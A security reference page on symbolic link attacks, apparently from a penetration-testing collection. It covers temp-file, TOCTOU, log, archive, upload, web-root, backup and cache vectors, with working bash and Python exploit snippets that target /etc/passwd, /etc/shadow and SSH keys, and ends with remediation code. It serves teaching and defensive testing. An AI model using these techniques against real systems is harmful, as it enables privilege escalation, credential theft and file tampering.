Files

Symbolic Link Attacks (Symlink Attacks)

Description

Symbolic link attacks, also known as symlink attacks, exploit the behavior of symbolic links (symlinks) in file systems. A symbolic link is a file that points to another file or directory. Attackers can manipulate symlinks to trick applications into accessing, modifying, or deleting files they shouldn't have access to, leading to privilege escalation, information disclosure, or denial of service.

When an application follows a symbolic link without proper validation:

  1. Attacker creates a symlink pointing to a sensitive file
  2. Application attempts to write/read to the symlink path
  3. Operation is performed on the target file instead
  4. Results in unauthorized file access, modification, or deletion

Common Vulnerabilities

1. Time-of-Check-Time-of-Use (TOCTOU)

Application checks file permissions, attacker replaces file with symlink before use.

2. Insecure Temporary File Handling

Applications create predictable temp files that can be symlinked.

Replacing log files with symlinks to sensitive files.

4. Archive Extraction

Extracting archives containing malicious symlinks.

Uploading symlinks via file upload functionality.

Symlinking configuration files to gain access or privileges.

Exploiting backup processes that follow symlinks.

Common Attack Vectors

  • Temporary file operations
  • Log file handling
  • File upload functionality
  • Archive extraction (tar, zip)
  • Backup/restore operations
  • Cache directories
  • Configuration file access
  • Web server document roots

Testing Methodology & PoC Examples

Vulnerability: Application creates predictable temp files.

Steps to Test:

  1. Identify temp file creation pattern
  2. Create symlink before application creates file
  3. Application writes to symlink, modifying target file

Attack:

# Attacker predicts temp file location
# Application will create /tmp/app_12345.tmp

# Attacker creates symlink first
ln -s /etc/passwd /tmp/app_12345.tmp

# When application writes to /tmp/app_12345.tmp,
# it actually writes to /etc/passwd

Python Example:

import os
import time

# Predict temporary file name
temp_file = f"/tmp/app_{os.getpid()}.tmp"

# Create symlink to target
os.symlink("/etc/shadow", temp_file)

# Wait for application to write to temp file
# Application unknowingly writes to /etc/shadow

Vulnerability: Time gap between checking and using a file.

Steps to Test:

  1. Application checks if file is safe
  2. Attacker quickly replaces file with symlink
  3. Application uses the symlink

Bash Script:

#!/bin/bash
# Exploit TOCTOU vulnerability

TARGET="/path/to/sensitive/file"
EXPLOITED="/path/to/app/data/file.txt"

while true; do
    # Remove existing file
    rm -f "$EXPLOITED" 2>/dev/null
    
    # Create normal file (passes checks)
    touch "$EXPLOITED"
    
    # Quickly replace with symlink
    rm -f "$EXPLOITED"
    ln -s "$TARGET" "$EXPLOITED"
done

C Example:

// Vulnerable code
if (access(filename, W_OK) == 0) {
    // RACE CONDITION WINDOW
    // Attacker can replace file with symlink here
    
    FILE *fp = fopen(filename, "w");
    fprintf(fp, "sensitive data");
    fclose(fp);
}

Vulnerability: Application writes to log files without checking for symlinks.

Steps to Test:

  1. Identify log file location
  2. Replace log file with symlink to target
  3. Application logs trigger write to target file

Attack:

# Application writes to /var/log/app.log

# Attacker replaces log file
rm /var/log/app.log
ln -s /etc/passwd /var/log/app.log

# Application's log writes now corrupt /etc/passwd

Request to trigger logging:

POST /api/endpoint HTTP/1.1
Host: example.com
Content-Type: application/json

{"data": "attacker_payload"}

Result: Log entry written to /etc/passwd instead of log file.


Vulnerability: Extracting archives containing malicious symlinks.

Steps to Test:

  1. Create archive with symlinks pointing outside extraction directory
  2. Upload or provide archive to application
  3. Extraction follows symlinks, writing to unintended locations

Creating Malicious Archive:

# Create malicious tar archive
mkdir evil
cd evil
ln -s /etc/passwd symlink.txt
echo "evil content" > data.txt
cd ..
tar -czf evil.tar.gz evil/

# Or with absolute path symlink
ln -s /etc/passwd /tmp/evil_symlink
tar -czf evil.tar.gz /tmp/evil_symlink

# Zip with symlink
ln -s ../../../etc/passwd symlink
zip --symlinks evil.zip symlink

Python Script to Create Malicious Zip:

import zipfile
import os

# Create zip with malicious symlink
with zipfile.ZipFile('evil.zip', 'w') as zf:
    # Create symlink entry
    info = zipfile.ZipInfo('link')
    info.create_system = 3  # Unix
    info.external_attr = 0o120777 << 16  # Symlink
    zf.writestr(info, '../../../etc/passwd')

Vulnerability: File upload allows symlink creation.

Steps to Test:

  1. Create symlink on local system
  2. Upload symlink file
  3. Access uploaded symlink to read target file

Creating Symlink for Upload:

# Create symlink to sensitive file
ln -s /etc/passwd passwd_link.txt

# Upload passwd_link.txt via web form
# If server preserves symlink and allows access:
curl https://example.com/uploads/passwd_link.txt
# Returns contents of /etc/passwd

Multipart Form Data:

POST /upload HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=----boundary

------boundary
Content-Disposition: form-data; name="file"; filename="link.txt"
Content-Type: application/octet-stream

<symlink binary data>
------boundary--

Vulnerability: Application reads configuration from predictable location.

Steps to Test:

  1. Identify config file location
  2. Create symlink from config location to attacker-controlled file
  3. Application reads attacker's configuration

Attack:

# Application reads /etc/app/config.ini

# Attacker creates symlink
rm /etc/app/config.ini
ln -s /tmp/attacker_config.ini /etc/app/config.ini

# Attacker's config file
cat > /tmp/attacker_config.ini << EOF
[auth]
admin_password=hacked
debug_mode=true
EOF

Vulnerability: Web server follows symlinks in document root.

Steps to Test:

  1. Upload or create symlink in web root
  2. Access symlink via browser
  3. Read arbitrary files from server

Attack:

# Create symlink in web directory
cd /var/www/html/uploads/
ln -s /etc/passwd passwd.txt
ln -s /home/user/.ssh/id_rsa key.txt

# Access via browser
curl https://example.com/uploads/passwd.txt
# Returns /etc/passwd contents

Apache Configuration Exploitation:

# If Options FollowSymLinks is enabled
<Directory /var/www/html>
    Options FollowSymLinks  # Vulnerable!
</Directory>

Vulnerability: Backup process follows symlinks.

Steps to Test:

  1. Identify backup process and source directory
  2. Create symlinks in backup source pointing to sensitive files
  3. Backup includes sensitive files

Attack:

# Application backs up /home/user/data/

# Attacker creates symlinks in data directory
cd /home/user/data/
ln -s /etc/shadow shadow_backup
ln -s /root/.ssh/id_rsa root_key

# Backup process follows symlinks and includes sensitive files
# Attacker extracts sensitive files from backup archive

Vulnerability: Application caches data in directory with weak permissions.

Steps to Test:

  1. Identify cache directory
  2. Replace cache file with symlink
  3. Application writes cached data to target file

Attack:

# Application caches to /tmp/app_cache/user_123

# Attacker creates symlink
rm -rf /tmp/app_cache/user_123
ln -s /home/victim/.ssh/authorized_keys /tmp/app_cache/user_123

# Application writes cache data (containing attacker's SSH key)
# to victim's authorized_keys file

Vulnerability: Application accepts file paths without proper validation.

Steps to Test:

  1. Create symlink chain for directory traversal
  2. Use symlinks to access files outside intended directory

Attack:

# Create symlink chain
mkdir -p /tmp/uploads/a/b/c
cd /tmp/uploads
ln -s / a/b/c/root

# Request file via application
GET /api/download?file=a/b/c/root/etc/passwd
# Application follows symlink to /etc/passwd

Exploitation Techniques

1. Privilege Escalation

# Replace /etc/passwd with symlink to attacker-controlled file
# When application writes to "passwd", it writes to attacker's file
ln -s /tmp/attacker_passwd /etc/passwd

2. SSH Key Injection

# Symlink authorized_keys
ln -s /tmp/attacker_keys /home/victim/.ssh/authorized_keys
# Application writes attacker's key to authorized_keys

3. Configuration Override

# Symlink config file
ln -s /tmp/evil_config /etc/app/app.conf

4. Arbitrary File Read

# Symlink in web root
ln -s /etc/passwd /var/www/html/exposed.txt

5. Arbitrary File Write

# Symlink temp file to target
ln -s /etc/crontab /tmp/app_temp_file

6. Denial of Service

# Symlink to /dev/zero or /dev/random
ln -s /dev/zero /var/log/app.log
# Application hangs trying to read infinite data

Detection and Testing Tools

1. Manual Testing

# Check if symlinks are followed
ln -s /etc/passwd test_link.txt
# Upload and access test_link.txt

# Check temp file creation
strace -e openat,open application 2>&1 | grep tmp

2. Automated Testing Script

import os
import time
import requests

def test_symlink_vulnerability(upload_url, access_url):
    # Create symlink to /etc/passwd
    symlink_name = "test_symlink.txt"
    os.symlink("/etc/passwd", symlink_name)
    
    # Upload symlink
    with open(symlink_name, 'rb') as f:
        files = {'file': f}
        response = requests.post(upload_url, files=files)
    
    # Try to access symlink
    response = requests.get(f"{access_url}/{symlink_name}")
    
    if "root:" in response.text:
        print("[!] Symlink vulnerability confirmed!")
        print(response.text)
    else:
        print("[+] No vulnerability detected")
    
    # Cleanup
    os.remove(symlink_name)

3. Archive Testing

# Create test archive with symlink
ln -s /etc/passwd testlink
tar -czf test.tar.gz testlink

# Upload and extract
# Check if extraction follows symlink

4. TOCTOU Race Condition Testing

# Run in parallel
while true; do
    rm -f target_file
    touch target_file
    rm -f target_file
    ln -s /etc/passwd target_file
done &

# Meanwhile, trigger application to use target_file

Exploitation Impact

  • Critical: Arbitrary file read/write, privilege escalation
  • High: SSH key injection, configuration manipulation
  • Medium: Information disclosure, DoS
  • Data Breach: Access to sensitive files (passwords, keys, configs)

Remediation

# Bad - Follows symlinks
with open(filename, 'r') as f:
    data = f.read()

# Good - Check for symlink first
import os
if os.path.islink(filename):
    raise Exception("Symlinks not allowed")
with open(filename, 'r') as f:
    data = f.read()

2. Use O_NOFOLLOW Flag

// Open file without following symlinks
int fd = open(filename, O_RDONLY | O_NOFOLLOW);
if (fd == -1 && errno == ELOOP) {
    // File is a symlink
    printf("Symlink detected, access denied\n");
}

3. Validate File Paths

import os
import pathlib

def is_safe_path(basedir, path):
    # Resolve both paths
    base = pathlib.Path(basedir).resolve()
    target = pathlib.Path(path).resolve()
    
    # Check if target is within basedir
    try:
        target.relative_to(base)
        return True
    except ValueError:
        return False

4. Use Secure Temporary Files

import tempfile

# Secure temp file creation
with tempfile.NamedTemporaryFile(delete=False) as f:
    f.write(b"data")
    temp_filename = f.name
# Apache
<Directory /var/www/html>
    Options -FollowSymLinks
</Directory>

# Nginx
disable_symlinks on;

6. Check File Type Before Operations

# Check if file is a regular file
if [ -f "$file" ] && [ ! -L "$file" ]; then
    cat "$file"
else
    echo "Not a regular file or is a symlink"
fi

7. Use chroot or Containers

  • Isolate application in restricted environment
  • Limit file system access

8. Atomic Operations

// Use O_EXCL to fail if file exists
int fd = open(filename, O_CREAT | O_EXCL | O_WRONLY, 0600);
if (fd == -1) {
    perror("File already exists");
    exit(1);
}

9. File Permission Checks

import os
import stat

def is_safe_file(path):
    try:
        st = os.lstat(path)  # lstat doesn't follow symlinks
        
        # Check if it's a symlink
        if stat.S_ISLNK(st.st_mode):
            return False
        
        # Check if it's a regular file
        if not stat.S_ISREG(st.st_mode):
            return False
        
        return True
    except OSError:
        return False

10. Input Validation for Archives

import tarfile
import os

def safe_extract(tar_path, extract_path):
    with tarfile.open(tar_path, 'r') as tar:
        for member in tar.getmembers():
            # Check for absolute paths
            if member.name.startswith('/'):
                raise Exception("Absolute path in archive")
            
            # Check for path traversal
            if '..' in member.name:
                raise Exception("Path traversal in archive")
            
            # Check if symlink
            if member.issym() or member.islnk():
                raise Exception("Symlinks not allowed in archive")
            
            # Safe extraction
            tar.extract(member, extract_path)

References

Payloads

See symbolic-link-payloads.txt for a comprehensive list of symlink attack payloads and techniques.